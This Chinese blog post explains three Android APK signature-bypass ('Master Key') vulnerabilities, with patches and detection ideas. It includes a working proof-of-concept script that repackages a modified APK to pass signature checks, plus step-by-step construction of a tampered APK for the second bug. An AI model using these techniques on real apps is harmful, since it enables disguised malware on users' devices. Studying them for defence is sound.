学习Android三个签名漏洞

本文介绍了Android的三个签名漏洞,包括2013年Bluebox Security揭露的第一个签名漏洞,涉及ZipFile.java的代码问题,允许攻击者在不改变签名的情况下修改APK。第二个签名漏洞利用Java和C++层读取数据的差异,通过修改extra field length绕过签名验证。第三个签名漏洞出现在中央目录的extra域,导致Java和C++层解析不同步。文章详细阐述了漏洞原理、攻击方式和补丁措施,并指出所有漏洞都是利用Java和C++层签名验证不一致的特性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

主要是想整理下自己大半年来学习的有关Android安全的一些东西,第一篇先从比较简单的Android签名漏洞开始。

 

Android签名漏洞,也叫Master Key漏洞,是指攻击者可以在不改变原APK的签名情况下修改APK的代码,从而绕过Android的签名认证安全机制。

 

一.第一个签名漏洞

1.1 原理

第一个签名漏洞是由国外的一家安全公司Bluebox Security在2013年7月初揭露的,这个漏洞自Android1.6版本就一直存在,漏洞的覆盖范围达到99%。

该漏洞位于luni/src/main/java/java/util/zip/ZipFile.java目录下,具体的漏洞点如下:

    for (int i = 0 ; i < numEntries; ++i) {

        ZipEntry newEntry = new ZipEntry (hdrBrf , bin) ;

        m.entries.put (newEntry.getname() , newEntry )}

我们知道在同一个文件夹内是不允许存在两个同名文件的,然而在APK这样一个ZIP格式的文件中却没有这样的限制,同时Android并未对APK中的重名文件进行检测,即一个APK压缩文件中可能存在两个相同的classes.dex文件。

此时可以假设一种情况,一个APK压缩包中存在两个classes.dex文件,第一个是恶意的执行文件,第二个是原来的执行文件,Android系统实际上验证的是第二个执行文件,因此可以顺利绕过APK的签名验证。Java层对APK验证完后,会请求installed进程完成代码的优化,而提取的classes.dex文件却是第一个执行文件。

1.2 POC

漏洞的POC思路是将原apk反编译并修改再重打包,将原APK解压至重打包的APK的目录下,再将解压出的所有资源压入重打包的APK中,代码如下:

#!/bin/bash
# PoC for Android bug 8219321 by @pof
# +info: https://jira.cyanogenmod.org/browse/CYAN-1602
if [ -z $1 ]; then echo "Usage: $0 <file.apk>" ; exit 1 ; fi
APK=$1
rm -r out out.apk tmp 2>/dev/null
java -jar apktool.jar d $APK out
#apktool d $APK out
echo "Modify files, when done type 'exit'"
cd out
bash
cd ..
java -jar apktool.jar b out out.apk
#apktool b out out.apk
mkdir tmp
cd tmp/
unzip ../$APK
mv ../out.apk .
cat >poc.py <<-EOF
#!/usr/bin/python
import zipfile
import sys
z = zipfile.ZipFile(sys.argv[1], "a")
z.write(sys.argv[2])
z.close()
EOF
chmod 755 poc.py
for f in `find . -type f |egrep -v "(poc.py|out.apk)"` ; do ./poc.py out.apk "$f" ; done
cp out.apk ../evil-$APK
cd ..
rm -rf tmp out
echo "Modified APK: evil-$APK"

1.3 补丁

在该文件的readCentralDir()函数结尾处删去如下一行代码: 


entries.put(newEntry.getName(), newEntry);

同时增加如下代码: 


if (entries.put(newEntry.getName(), newEntry) != null) {
throw new ZipException("Duplicate entries: file may have been tamperedwith");
}


也就是说APK的Entry链存在2个或以上相同的路径即抛出异常。


二.第二个签名漏洞

2.1 原理

第二个签名漏洞是由安卓安全小分队发现的。攻击者可以对原apk进行修改,但不修改其原apk的签名。原理跟Bluebox Security曝的漏洞不太一样,但效果是一样的。Java语言在进行类型转换的时候会出现这样的问题:比如当一个short类型的0xFFFF转换为int后,java会把它读为-1,而C++读为65535。而在Java验证签名过程中,对Zip文件相应16位域的读取时,没有考虑到大于2^15的情况,就造成了Java层和C++层对同一数据的读取结果不一致。

APK实际上是一个ZIP文件格式文件,Zip文件都有一个Central direction, Central direction每一项都是一个File header,每个File header结构中都有一个偏移量指向local file header,local file header后跟着的就是文件数据。其中local file header最后两个域file name和extra field是变长的,其的长度是由file name length和extra field length所确定。Android 对 Apk 校验用到一下语句:

RAFStream rafstrm = new RAFStream(raf, entry.mLocalHeaderRelOffset + 28);

DataInputStream is = new DataInputStream(rafstrm);

int localExtraLenOrWhatever = Short.reverseBytes(is.readShort());

is.close();

 

// Skip the name and this "extra" data or whatever it is:

rafstrm.skip(entry.nameLength + localExtraLenOrWhatever);

rafstrm.mLength = rafstrm.mOffset + entry.compressedSize;

if (entry.compressionMethod == ZipEntry.DEFLATED) {

int bufSize = Math.max(1024, (int)Math.min(entry.getSize(), 65535L));

return new ZipInflaterInputStream(rafstrm, new Inflater(true), bufSize, entry);

            } else {

                return rafstrm;

            }

上述代码中红色部分中localExtraLenOrWhatever就是local file header结构中的extra field length。如果这里的extra field legth大小大于2^15,则localExtraLenOrWhatever将会是负值。

因此接下来,rafstrm.skip(entry.nameLength+ localExtraLenOrWhatever); 这句将无法真正跳过变长域file name(variable size) 和extra field (variable size)。反而有可能会跳到file name (variable size)中,甚至file name(variable size)之前。

攻击模型如下所示:


2.2 攻击方式

要改变一个apk的行为,显然攻击的目标就是apk里的classes.dex文件。对于classes.dex文件在apk文件中的local file header结构,其file name (variablesize)域的内容就是“classes.dex”了。

a) 利用这一点,从filename (variable size)域“classex.dex”的“.”之后开始我们可以写入一个完整的dex文件。这个dex文件必须是原apk里的classes.dex文件。只有这样才能绕过签名验证

b) 修改extra fieldlength,使之为0xFFFD。因为这个值刚好为-3。根据漏洞,rafstrm.skip(entry.nameLength + localExtraLenOrWhatever); 这句就会跳到file name (variable size)域中的“.”之后。也就是一个dex文件的开始,这里必须是原dex文件内容。

c) 修改local fileheader之后的file data数据。在这里写入带有攻击代码的classes.dex内容。

 

该漏洞有个巨大的限制,即利用Zip文件中的local file header结构的extra field域来存放原classes.dex。但这个域的大小最多只能是2^16-1,因此被攻击的Apk里的classes.dex大小必须在64K以内。

最后之所以这种攻击方式能成功,还在于在运行时,系统抽取的是hackedclasses.dex,而在签名校验时,验证的是extra域里的classes.dex。前者是在libdex.so中实现,后者在Java层实现。


2.3 补丁

将nameLength=it.readShort()等类似的语句改为nameLength=it.readShort() & 0xffff

这样就避免了int转换为short后Java读数为负数的情况。


三.第三个签名漏洞

第三个签名漏洞是由著名手机安全专家Jay Freeman发现的。第二个签名漏洞有两个巨大的限制,一是只能替换一个classes.dex文件,二是原程序的classes.dex文件必须小于64kb。而第二个签名漏洞公布后,google对两个地方打了extra field的补丁,其中一个是local file header处,另一个在zip文件格式的central direction处。第三个签名漏洞便是位于后一个补丁处。整个ZIP文件格式以及两个漏洞的位置,如下图所示:


红色的箭头代表指针指向的位置,黄色的区域代表两个签名漏洞所在的位置,目录结束标示位于ZIP文件的最后,用来指向第一个central direction以及记录文件信息。


3.1 漏洞原理

Centraldirection位于zip文件的末尾,是zip文件解析器的索引,指向本地文件。

每一个Centraldirection 都有extra域,从一个centraldirection跳到下一个central direction, 需要当前入口地址加上前面的目录条长度加上三个变长域,即当前local的偏移地址加上name的长度,extra域的长度和comment域的长度。

漏洞的位置代码如下所示:

nameLength =it.readShort();

intextraLength = it.readShort();

intcommentLength = it.readShort();

 

byte[] nameBytes =new byte[nameLength];

Streams.readFully(in,nameBytes, 0, nameBytes.length);

name = newString(nameBytes, 0, nameBytes.length, Charsets.UTF_8);

 

if(commentLength > 0) {

byte[] commentBytes= new byte[commentLength]; Streams.readFully(in, commentBytes, 0,commentLength);

 comment = new String(commentBytes, 0,commentBytes.length, Charsets.UTF_8);

 }

 

if(extraLength > 0) {

extra = newbyte[extraLength];

Streams.readFully(in,extra, 0, extraLength);

}

该代码是由Java所写,与第二个签名漏洞一样,如果读取的数字大于32k,则java读出的数字为负数,但不同之处在于,如果读出的length小于0,则不会像第二个漏洞向回跳转,而是认为无效直接 跳过,将其值设为0 。

这就同样造成了Java层与C++层对同一数据有不同的读取结果,若变长域的长度大于32k,则Java读取的值为0,C++读取的值为正常大小。


3.2 漏洞模型

漏洞的基本模型如下图所示:


每一个黑框代表一个central direction,当第一个central direction的extra域的长度大于 32k时,java的跳转方式如红色箭头所示,C++跳转方式如蓝色箭头所示。即即如果extra域大于32k, Java代码会跳转至C++认为是extra域的地方。即Java代码验证签名时验证的是前面四个central direction指向的文件,而C++解压时的文件却是第一个central direction和PAD之后的三个central direction指向的文件。从Central direction的格式可以看到,一个正常的centraldirection的大小为46bytes加上文件名的长度。32~64kb基本能满足所需的空间大小。


3.3 漏洞说明

与第二个签名漏洞相比,突破在于可以添加任何文件到zip中,包括以前不存在的文件,并且可以没有文件大小的限制

不足之处是由于最后的目录结束标识中有文件的数目值,所以新加入的文件数目必须和原文件数一样多。

第三个漏洞的补丁和第二个漏洞的补丁原理一样。



四.总结

总的来说Android签名漏洞虽然实现的方式不一样,但利用的漏洞点的原理都是大同小异,即都是利用Android的Java层和C++层对签名的代码或操作不一致来绕过系统对签名的验证,从而达到攻击目的。

如果要实现自动化地检测APK包是否存在利用漏洞的情况,第一个漏洞需要检测APK包是否包含两个重名的classes.dex文件;第二个和第三个漏洞则需要检测相应位置的变长域的长度是否超过2^15,其他有效的检测方法,还有待进步一思考。

如果理解有错误,欢迎指正~


五.参考资料

http://bbs.pediy.com/showthread.php?t=175129

http://blog.sina.com.cn/s/blog_be6dacae0101bksm.html

http://www.saurik.com/id/18






评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值